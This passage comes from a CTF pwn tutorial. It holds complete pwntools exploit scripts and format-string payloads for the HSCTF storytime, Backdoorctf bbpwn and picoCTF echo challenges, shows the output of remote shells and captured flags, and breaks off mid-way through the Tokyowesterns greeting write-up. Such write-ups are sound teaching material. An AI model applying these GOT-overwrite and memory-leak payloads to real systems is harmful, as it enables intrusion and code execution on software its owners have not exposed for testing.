target.sendline(payload)
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Opening connection to pwn.hsctf.com on port 3333: Done
[*] '/Hackery/hs/storytime/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
HSCTF PWNNNNNNNNNNNNNNNNNNNNN
Tell me a story:

0x7fddbba46000
[*] Switching to interactive mode
Pҁ\xbb�\x00\x00p^\xab\xbb�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00 \xb6���\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00ls
bin
dev
flag
lib
lib32
lib64
storytime
$ ls
bin
dev
flag
lib
lib32
lib64
storytime
$ cat flag
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
```

Just like that, we captured the flag!

Format Strings

Backdoorctf 17 bbpwn

Let's take a look at the binary:

```
$    ./32_new
Hello baby pwner, whats your name?
guyinatuxedo
Ok cool, soon we will know whether you pwned it or not. Till then Bye
guyinatuxedo
$    file 32_new
32_new: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=da5e14c668579652906e8dd34223b8b5aa3becf8, not stripped
$    pwn checksec 32_new
[*] '/Hackery/pod/modules/fmt_strings/backdoor17_bbpwn/32_new'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

So looking at this binary, when we run it it prompts us for input then prints it. We can see that it is a 32 bit binary with no PIE or RELRO. When we take a look at the main function in IDA, we see this:

```
void main(void)

{
  char name [200];
  char message [300];

  puts("Hello baby pwner, whats your name?");
  fflush(stdout);
  fgets(name,200,stdin);
  fflush(stdin);
  sprintf(message,"Ok cool, soon we will know whether you pwned it or not. Till
then Bye %s",name);
  fflush(stdout);
  printf(message);
  fflush(stdout);
                    /* WARNING: Subroutine does not return */
  exit(1);
}
```

So we can see that it scans in our input using `fgets`, copies it and a message over to the `message` variable via sprintf. Then it prints the message using `printf`. The thing is, the way it's printing it is a bug. It's printing it without specifying what format string to use for it (like `%s`, `%x`, or `%p`). As a result, we can specify our own format which we will have it printed as. For example:

```
$    ./32_new
Hello baby pwner, whats your name?
%x.%x.%x.%x
Ok cool, soon we will know whether you pwned it or not. Till then Bye
8048914.ffab2f78.ffab2fcc.f7fa0289
```

We can see there that we have printed off values as four byte hex values. The thing that makes this really fun, is printf has a `%n` flag. This will write an integer to memory equal to the amount of bytes printed. With this due to the binary's setup we can get code execution. Since PIE isn't enabled we know the address of everything from the binary including the GOT table, which holds the addresses of libc function which are executed. Since RELRO is not enabled, we can write to this table. So we can use this bug to write to the GOT table so when it tries to call a function from libc, it will call something else. Looking at the code we see that `fflush` would be a good candidate since it is after the `printf` call.

Now let's figure out how to exploit this bug. First we need to see where our input ends up on the stack in reference to the format string bug. In order to do this, we will just give some input and see where it is with `%x` flags:

```
$    ./32_new
Hello baby pwner, whats your name?
000011112222.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Ok cool, soon we will know whether you pwned it or not. Till then Bye
000011112222.8048914.ff8b05c8.ff8b061c.f7f7a289.38c.f7bee794.ff8b0874.f7f6a3d0.f7
$    ./32_new
Hello baby pwner, whats your name?
000011112222.%10$x.%11$x.%12$x
Ok cool, soon we will know whether you pwned it or not. Till then Bye
000011112222.30303030.31313131.32323232
```

So we can see that the offsets for our three four byte values are `10`, `11`, and `12`. Now the reason why these are four bytes is they will store an address that we are writing to, and since this is x86 addresses are four bytes. The reason why there are three of them, is we can only write a number equal to the amount of bytes printf has printed. So writing an entire address like `0x08048574` will cause us to print a huge amount of bytes, and really isn't realistic over a remote connection. So we can split it up into three smaller writes. Now the question is what function will we overwrite the GOT entry of `fflush` with. Looking through the list of functions, we see `flag` at `0x0804870b` looks like a good candidate (no arguments needed):

```
/* WARNING: Unknown calling convention yet parameter storage is locked */
/* flag() */

void flag(void)

{
  system("cat flag.txt");
  return;
}
```

If we call this function it will just print the flag. There is one more piece of this puzzle we need to figure out before we can write the exploit. With our write, we write the amount of bytes specified. We can increase the amount of bytes we print by `10` by including `%10x` in our format string. However once we do a write of `10`, all subsequent writes must be less than that. For our first write, we will worry about writing the first byte of the address to `flag` to the got entry for `fflush` which we can find using objdump:

```
$    objdump -R 32_new | grep fflush
0804a028 R_386_JUMP_SLOT   fflush@GLIBC_2.0
```

With the second write, we will write the second and third. The fourth write will write the highest byte of the address. However we will get around the fact that subsequent writes can only be greater than or equal to the previous write by overflowing the next spot in memory with it. So whatever value we write for the third write, only the least significant byte will end up in the highest byte for the got entry for `fflush`. To make more sense, let's look at the memory layout of the got entry while we carry out this attack. For that here's a small sample script which will carry out the attack and drop us in gdb to see:

```
#Import pwntools
from pwn import *

#Establish the target process, or network connection
target = process('./32_new')

#Attach gdb if it is a process
gdb.attach(target, gdbscript='b *0x080487dc')

#Print the first line of text
print target.recvline()

#Establish the addresses which we will be writing to
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02b)

#Establish the necessary inputs for our input, so we can write to the addresses
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"

#Form the payload
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fmt_string0 + fmt_string1 +
fmt_string2

#Send the payload
target.sendline(payload)

#Drop to an interactive shell
target.interactive()
```

When we run the script and check the memory layout in gdb, we see this:

```
──────────────────────────────────────────────────────── code:x86:32 ────
    0x80487d0 <main+172>       lea    eax, [ebp-0x138]
    0x80487d6 <main+178>       push   eax
    0x80487d7 <main+179>       call   0x80485d0 <printf@plt>
 →  0x80487dc <main+184>       add    esp, 0x10
    0x80487df <main+187>       mov    eax, ds:0x804a044
    0x80487e4 <main+192>       sub    esp, 0xc
    0x80487e7 <main+195>       push   eax
    0x80487e8 <main+196>       call   0x80485c0 <fflush@plt>
    0x80487ed <main+201>       add    esp, 0x10
──────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "32_new", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────── trace ────
[#0] 0x80487dc → main()
─────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x080487dc in main ()
gef➤  x/2w 0x804a028
0x804a028:    0x52005252    0xf7000000
```

So we can see that the value the printf write by default is `0x52`. We need the first byte to be `0x0b` to match the `flag` function's address `0x0804870b`. We will just add `185` bytes to change the value to `0x10b` so the byte there will be `0x0b`. The `0x01` will overflow into the second byte, however that will be overwritten with the second write so we don't need to worry about it yet. When we append `%185x` to the first write and check the memory layout afterwards, we see this:

```
Breakpoint 1, 0x080487dc in main ()
gef➤  x/2x 0x0804a028
0x804a028:    0x0b010b0b    0xf7000001
```

So we can see that the first byte is `0x0b` which is what it should be. Now for the second write, we need the second and third byte to be equal to `0x0487`, and it is `0x010b`. So we need to add `0x0487 - 0x010b = 892` bytes to get it there. When we add `%892x` to the second write, we see that this is the new address that is written:

```
Breakpoint 1, 0x080487dc in main ()
gef➤  x/2x 0x0804a028
0x804a028:    0x8704870b    0xf7000004
```

So we can see that all of the bytes with the exception of the fourth byte are correct. Now we just need to add `(0x100 - 0x87) + 0x8 = 129` bytes to get the fourth byte equal to `0x08`. Of course this will spill over to the next dword (if you check the last couple of memory layouts, you can see it's value change as we overwrite part of it). However that value isn't used in anyway that would crash or prevent us from pulling this off, so we don't need to worry about it. When we add the final "bytes printed padding" (if you can call it that) we end up with this exploit:

```
#Import pwntools
from pwn import *

#Establish the target process, or network connection
target = process('./32_new')
#target = remote('163.172.176.29', 9035)

#Attach gdb if it is a process
#gdb.attach(target, gdbscript='b *0x080487dc')

#Print the first line of text
print target.recvline()

#Prompt for input, to pause for gdb
#raw_input()

#Establish the addresses which we will be writing to
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02b)

#Establish the amount of bytes needed to be printed in order to write correct
value
flag_val0 = "%185x"
flag_val1 = "%892x"
flag_val2 = "%129x"

#Establish the necessary inputs for our input, so we can write to the addresses
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"

#Form the payload
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + flag_val0 + fmt_string0 +
flag_val1 + fmt_string1 + flag_val2 + fmt_string2

#Send the payload
target.sendline(payload)

#Drop to an interactive shell
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './32_new': pid 31622
Hello baby pwner, whats your name?

[*] Switching to interactive mode
Ok cool, soon we will know whether you pwned it or not. Till then Bye (\xa0\x0)
\xa0\x0+\xa0\x0
8048914
ffaa8f08
ffaa8f5c
[*] Process './32_new' stopped with exit code 1 (pid 31622)
flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive
```

Just like that, we solved the challenge!

Picoctf 2018 echo

Let's take a look at the binary:

```
$    file echo
echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped
$    pwn checksec echo
[*] '/Hackery/pod/modules/fmt_strings/pico18_echo/echo'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %x.%x
40.f7f925c0
> guyinatuxedo
guyinatuxedo
```

So we can see that we are dealing with a 32 bit executable. When we run it, it prompts us for input and prints it back to us. We can also see that with `%x` that there is a format string bug (when printf doesn't specify the format for data to be printed, and the data can). Looking at the main function in ghidra, we see this:

```
void main(void)

{
  __gid_t __rgid;
  FILE *flagFile;
  char input [64];
  char flag [64];

  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  memset(input,0,0x40);
  memset(input,0,0x40);
  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  flagFile = fopen("flag.txt","r");
  if (flagFile == (FILE *)0x0) {
    puts(
        "Flag File is Missing. Problem is Misconfigured, please contact an Admin
if you are runningthis on the shell server."
        );
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(flag,0x40,flagFile);
  do {
    printf("> ");
    fgets(input,0x40,stdin);
    printf(input);
  } while( true );
}
```

So we can see a few things here. First the format string bug takes place in a loop that on paper will run infinitely (the while true loop). However before that, we see that it actually scans the contents of the flag file to a char array on the stack for `main`, so it's not too far away (also we need to have a `flag.txt` file in the same directory as the executable when we run it). If we can find the offset to it's pointer, we can just print it using `%s` with the format string bug. We can check the offset using gdb. We will essentially just leak a bunch of values, check to see where the flag is in memory, and see if any of those values is a pointer to the flag:

```
$    cat flag.txt
flag{flag}
$    gdb ./echo
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./echo...(no debugging symbols found)...done.
gef➤  r
Starting program: /Hackery/pod/modules/fmt_strings/pico18_echo/echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
40.f7faf5c0.8048647.f7fdf409.f63d4e2e.f7ffdaf8.ffffd124.ffffd02c.3e8.804b160.252e
40.f7faf5c0.8048647.f7fdf409.f63d4e2e.f7ffdaf8.ffffd124.ffffd02c.3e8.804b160.252e
> ^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]

registers ────
$eax   : 0xfffffe00
$ebx   : 0x0
$ecx   : 0x0804c2d0  →  "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x[...]"
$edx   : 0x400
$esp   : 0xffffce70  →  0xffffced8  →  0x0000003f ("?"?)
$ebp   : 0xffffced8  →  0x0000003f ("?"?)
$esi   : 0xf7faf5c0  →  0xfbad2288
$edi   : 0xf7faf000  →  0x001d7d6c ("l}"?)
$eip   : 0xf7fd5059  →  <__kernel_vsyscall+9> pop ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063

stack ────
0xffffce70│+0x0000: 0xffffced8  →  0x0000003f ("?"?)     ← $esp
0xffffce74│+0x0004: 0x00000400
```

```
0xffffce78│+0x0008: 0x0804c2d0  →  "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x[...]"
0xffffce7c│+0x000c: 0xf7ebdcd7  →  0xfff0003d ("="?)
0xffffce80│+0x0010: 0x00000000
0xffffce84│+0x0014: 0x00000000
0xffffce88│+0x0018: 0xf7e4b1b9  →  <_IO_doallocbuf+9> add ebx, 0x163e47
0xffffce8c│+0x001c: 0xf7faf5c0  →  0xfbad2288
───────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
   0xf7fd5053 <__kernel_vsyscall+3> mov    ebp, esp
   0xf7fd5055 <__kernel_vsyscall+5> sysenter
   0xf7fd5057 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd5059 <__kernel_vsyscall+9> pop    ebp
   0xf7fd505a <__kernel_vsyscall+10> pop    edx
   0xf7fd505b <__kernel_vsyscall+11> pop    ecx
   0xf7fd505c <__kernel_vsyscall+12> ret
   0xf7fd505d                  nop
   0xf7fd505e                  nop
───────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "echo", stopped, reason: SIGINT
───────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0xf7fd5059 → __kernel_vsyscall()
[#1] 0xf7ebdcd7 → read()
[#2] 0xf7e4a188 → _IO_file_underflow()
[#3] 0xf7e4b2ab → _IO_default_uflow()
[#4] 0xf7e3e151 → _IO_getline_info()
[#5] 0xf7e3e29e → _IO_getline()
[#6] 0xf7e3d04c → fgets()
[#7] 0x8048742 → main()
───────────────────────────────────────────────────────────────────────────────
0xf7fd5059 in __kernel_vsyscall ()
gef➤  search-pattern flag{flag}
[+] Searching 'flag{flag}' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
  0x804b2c0 - 0x804b2ca  →   "flag{flag}"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd02c - 0xffffd036  →   "flag{flag}"
```

So we can see that on the stack the contents of `flag{flag}` resides at `0xffffd02c`. We can also see that we can reach it using the format string bug at offset `8`. With this, we can leak the flag.

```
$    ./echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %8$s
flag{flag}

> ^C
```

Just like that, we got the flag!

Tokyowesterns 2016 greeting

Let's take a look at the binary:

```
$    file greeting-
1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c
greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c: ELF
32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-, for GNU/Linux 2.6.24,
BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped
$    pwn checksec greeting-
1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c
[*] '/Hackery/all/tw16/greeting-
1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

So we are dealing with a `32` bit binary, with a stack canary and non executable stack (but no RELRO or PIE). Let's see what happens when we run the binary:

```
./greeting
Hello, I'm nao!
Please tell me your name... guyinatuxedo
Nice to meet you, guyinatuxedo :)
```

So we can see that we are prompted for input, which it prints back out to us. Let's take a look at the binary in Ghidra:

```
void main(void)

{
  int bytesRead;
  int in_GS_OFFSET;
  char printedString [64];
  undefined name [64];
  int stackCanary;

  stackCanary = *(int *)(in_GS_OFFSET + 0x14);
  printf("Please tell me your name... ");
  bytesRead = getnline(name,0x40);
  if (bytesRead == 0) {
    puts("Don\'t ignore me ;( ");
  }
  else {
    sprintf(printedString,"Nice to meet you, %s :)\n",name);
    printf(printedString);
  }
  if (stackCanary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So we can see that in the `main` function, it runs the `getnline` function which scans in input and returns the amount of bytes read (I will cover that function next). It scans in data into the `name` char buffer. Proceeding that if `getnline` didn't scan in `0` bytes, it will write the string `"Nice to meet you, " + ourInput + " :)\n"` to `printedString`, then prints it using `printf`. Thing is since in the `printf` call it doesn't specify a format to print the input, this is a format string bug and we can specify how our input is printed. Using the `%n` flag with printf, we can actually write to memory. Since RELRO isn't enabled, we can write to the GOT table (the GOT Table is a table of addresses in the binary that hold libc address functions), and since PIE isn't enabled we know the addresses of the GOT table.

Looking at the `getnline` function, we see this:

```
void getnline(char *ptr,int bytesRead)

{
  char *pcVar1;

  fgets(ptr,bytesRead,stdin);
  pcVar1 = strchr(ptr,10);
  if (pcVar1 != (char *)0x0) {
    *pcVar1 = '\0';
  }
  strlen(ptr);
  return;
}
```

It just scans in `bytesRead` amount of data (in our case `0x40` or `60` so no overflow) into the space pointed to by `ptr`. Proceeding that, it will replace the newline character with a null byte. It will then return the output of `strlen` on our input.

Now the next thing we need will be a function to overwrite a got entry with. Looking through the list of imports in ghidra (imported functions are included in the compiled binary code, and since pie isn't enabled we know the addresses of those functions) we can see that `system` is imported, and is at the address `0x8048490` in the plt table:

```
**************************************************************
                             *                        THUNK FUNCTION
*

**************************************************************
                             thunk int system(char * __command)
                               Thunked-Function: <EXTERNAL>::system
             int               EAX:4          <RETURN>
             char *            Stack[0x4]:4   __command
                             system@@GLIBC_2.0
                             system
XREF[2]:     system:08048490(T),

system:08048490(c), 08049a48(*)
        0804a014                 ??         ??
```

We can also find the address using `objdump`:

```
$    objdump -D greeting | grep system
08048490 <system@plt>:
 8048779:    e8 12 fd ff ff           call   8048490 <system@plt>
```

So we will overwrite a got entry of a function with `system` to call it. The question is now which function to overwrite? Now we run into a different problem. The only function called after the `printf` call which gives us a format string write, is `__stack_chk_fail()` which will only get called if we execute a buffer overflow which we really can't do right now. We will overcome this by writing to the `.fini_array`, which contains an array of functions which are executed sometime after main returns. We will just write to it the address which starts the setup for the `getnline` function, to essentially wrap back around. We can find the `.fini_array` using gdb while running the program:

```
gef➤  info file
Symbols from "/Hackery/all/tw16/greeting".
Native process:
	Using the running image of child process 18898.
	While running this, GDB does not access memory from...
Local exec file:
	`/Hackery/all/tw16/greeting', file type elf32-i386.
	Entry point: 0x80484f0
	0x08048134 - 0x08048147 is .interp
	0x08048148 - 0x08048168 is .note.ABI-tag
	0x08048168 - 0x0804818c is .note.gnu.build-id
	0x0804818c - 0x080481b8 is .gnu.hash
	0x080481b8 - 0x080482a8 is .dynsym
	0x080482a8 - 0x08048344 is .dynstr
	0x08048344 - 0x08048362 is .gnu.version
	0x08048364 - 0x08048394 is .gnu.version_r
	0x08048394 - 0x080483ac is .rel.dyn
	0x080483ac - 0x08048404 is .rel.plt
	0x08048404 - 0x08048427 is .init
	0x08048430 - 0x080484f0 is .plt
	0x080484f0 - 0x08048742 is .text
	0x08048742 - 0x08048780 is tomori
	0x08048780 - 0x08048794 is .fini
	0x08048794 - 0x080487fd is .rodata
	0x08048800 - 0x0804883c is .eh_frame_hdr
	0x0804883c - 0x0804892c is .eh_frame
	0x0804992c - 0x08049934 is .init_array
	0x08049934 - 0x08049938 is .fini_array
	0x08049938 - 0x0804993c is .jcr
	0x0804993c - 0x08049a24 is .dynamic
	0x08049a24 - 0x08049a28 is .got
	0x08049a28 - 0x08049a60 is .got.plt
	0x08049a60 - 0x08049a68 is .data
	0x08049a80 - 0x08049aa8 is .bss
	0xf7fd6114 - 0xf7fd6138 is .note.gnu.build-id in /lib/ld-linux.so.2
	0xf7fd6138 - 0xf7fd6214 is .hash in /lib/ld-linux.so.2
	0xf7fd6214 - 0xf7fd6314 is .gnu.hash in /lib/ld-linux.so.2
	0xf7fd6314 - 0xf7fd6554 is .dynsym in /lib/ld-linux.so.2
	0xf7fd6554 - 0xf7fd677a is .dynstr in /lib/ld-linux.so.2
	0xf7fd677a - 0xf7fd67c2 is .gnu.version in /lib/ld-linux.so.2
	0xf7fd67c4 - 0xf7fd688c is .gnu.version_d in /lib/ld-linux.so.2
	0xf7fd688c - 0xf7fd69dc is .rel.dyn in /lib/ld-linux.so.2
	0xf7fd69dc - 0xf7fd6a14 is .rel.plt in /lib/ld-linux.so.2
	0xf7fd6a20 - 0xf7fd6aa0 is .plt in /lib/ld-linux.so.2
	0xf7fd6aa0 - 0xf7fd6aa8 is .plt.got in /lib/ld-linux.so.2
	0xf7fd6ab0 - 0xf7ff17fb is .text in /lib/ld-linux.so.2
	0xf7ff1800 - 0xf7ff60a0 is .rodata in /lib/ld-linux.so.2
	0xf7ff60a0 - 0xf7ff60a1 is .stapsdt.base in /lib/ld-linux.so.2
	0xf7ff60a4 - 0xf7ff67d8 is .eh_frame_hdr in /lib/ld-linux.so.2
	0xf7ff67d8 - 0xf7ffb37c is .eh_frame in /lib/ld-linux.so.2
	0xf7ffc880 - 0xf7ffcf34 is .data.rel.ro in /lib/ld-linux.so.2
	0xf7ffcf34 - 0xf7ffcfec is .dynamic in /lib/ld-linux.so.2
```

```
    0xf7ffcfec - 0xf7ffcff4 is .got in /lib/ld-linux.so.2
    0xf7ffd000 - 0xf7ffd028 is .got.plt in /lib/ld-linux.so.2
    0xf7ffd040 - 0xf7ffd874 is .data in /lib/ld-linux.so.2
    0xf7ffd878 - 0xf7ffd938 is .bss in /lib/ld-linux.so.2
    0xf7fd40b4 - 0xf7fd40ec is .hash in system-supplied DSO at 0xf7fd4000
    0xf7fd40ec - 0xf7fd4130 is .gnu.hash in system-supplied DSO at 0xf7fd4000
    0xf7fd4130 - 0xf7fd41c0 is .dynsym in system-supplied DSO at 0xf7fd4000
    0xf7fd41c0 - 0xf7fd4255 is .dynstr in system-supplied DSO at 0xf7fd4000
    0xf7fd4256 - 0xf7fd4268 is .gnu.version in system-supplied DSO at 0xf7fd4000
    0xf7fd4268 - 0xf7fd42bc is .gnu.version_d in system-supplied DSO at
0xf7fd4000
    0xf7fd42bc - 0xf7fd434c is .dynamic in system-supplied DSO at 0xf7fd4000
    0xf7fd434c - 0xf7fd4560 is .rodata in system-supplied DSO at 0xf7fd4000
    0xf7fd4560 - 0xf7fd45c0 is .note in system-supplied DSO at 0xf7fd4000
    0xf7fd45c0 - 0xf7fd45e4 is .eh_frame_hdr in system-supplied DSO at
0xf7fd4000
    0xf7fd45e4 - 0xf7fd46f0 is .eh_frame in system-supplied DSO at 0xf7fd4000
    0xf7fd46f0 - 0xf7fd5088 is .text in system-supplied DSO at 0xf7fd4000
    0xf7fd5088 - 0xf7fd5124 is .altinstructions in system-supplied DSO at
0xf7fd4000
    0xf7fd5124 - 0xf7fd514a is .altinstr_replacement in system-supplied DSO at
0xf7fd4000
    0xf7dd7174 - 0xf7dd7198 is .note.gnu.build-id in /lib/i386-linux-
gnu/libc.so.6
    0xf7dd7198 - 0xf7dd71b8 is .note.ABI-tag in /lib/i386-linux-gnu/libc.so.6
    0xf7dd71b8 - 0xf7ddb078 is .gnu.hash in /lib/i386-linux-gnu/libc.so.6
    0xf7ddb078 - 0xf7de4cc8 is .dynsym in /lib/i386-linux-gnu/libc.so.6
    0xf7de4cc8 - 0xf7deafc6 is .dynstr in /lib/i386-linux-gnu/libc.so.6
    0xf7deafc6 - 0xf7dec350 is .gnu.version in /lib/i386-linux-gnu/libc.so.6
    0xf7dec350 - 0xf7dec8b4 is .gnu.version_d in /lib/i386-linux-gnu/libc.so.6
    0xf7dec8b4 - 0xf7dec8f4 is .gnu.version_r in /lib/i386-linux-gnu/libc.so.6
    0xf7dec8f4 - 0xf7def4e4 is .rel.dyn in /lib/i386-linux-gnu/libc.so.6
    0xf7def4e4 - 0xf7def53c is .rel.plt in /lib/i386-linux-gnu/libc.so.6
    0xf7def540 - 0xf7def600 is .plt in /lib/i386-linux-gnu/libc.so.6
    0xf7def600 - 0xf7def610 is .plt.got in /lib/i386-linux-gnu/libc.so.6
    0xf7def610 - 0xf7f3c386 is .text in /lib/i386-linux-gnu/libc.so.6
    0xf7f3c390 - 0xf7f3d41b is __libc_freeres_fn in /lib/i386-linux-
gnu/libc.so.6
    0xf7f3d420 - 0xf7f3d729 is __libc_thread_freeres_fn in /lib/i386-linux-
gnu/libc.so.6
    0xf7f3d740 - 0xf7f5e848 is .rodata in /lib/i386-linux-gnu/libc.so.6
    0xf7f5e848 - 0xf7f5e849 is .stapsdt.base in /lib/i386-linux-gnu/libc.so.6
    0xf7f5e84c - 0xf7f5e85f is .interp in /lib/i386-linux-gnu/libc.so.6
    0xf7f5e860 - 0xf7f64dbc is .eh_frame_hdr in /lib/i386-linux-gnu/libc.so.6
    0xf7f64dbc - 0xf7fa7874 is .eh_frame in /lib/i386-linux-gnu/libc.so.6
    0xf7fa7874 - 0xf7fa7cf7 is .gcc_except_table in /lib/i386-linux-
gnu/libc.so.6
    0xf7fa7cf8 - 0xf7fab410 is .hash in /lib/i386-linux-gnu/libc.so.6
    0xf7fad15c - 0xf7fad164 is .tdata in /lib/i386-linux-gnu/libc.so.6
    0xf7fad164 - 0xf7fad1b0 is .tbss in /lib/i386-linux-gnu/libc.so.6
    0xf7fad164 - 0xf7fad16c is .init_array in /lib/i386-linux-gnu/libc.so.6
    0xf7fad16c - 0xf7fad1ec is __libc_subfreeres in /lib/i386-linux-
gnu/libc.so.6
```

```
    0xf7fad1ec - 0xf7fad1f0 is __libc_atexit in /lib/i386-linux-gnu/libc.so.6
    0xf7fad1f0 - 0xf7fad200 is __libc_thread_subfreeres in /lib/i386-linux-
gnu/libc.so.6
    0xf7fad200 - 0xf7fad9d4 is __libc_IO_vtables in /lib/i386-linux-
gnu/libc.so.6
    0xf7fad9e0 - 0xf7faed6c is .data.rel.ro in /lib/i386-linux-gnu/libc.so.6
    0xf7faed6c - 0xf7faee5c is .dynamic in /lib/i386-linux-gnu/libc.so.6
    0xf7faee5c - 0xf7faefe4 is .got in /lib/i386-linux-gnu/libc.so.6
    0xf7faf000 - 0xf7faf038 is .got.plt in /lib/i386-linux-gnu/libc.so.6
    0xf7faf040 - 0xf7fafef4 is .data in /lib/i386-linux-gnu/libc.so.6
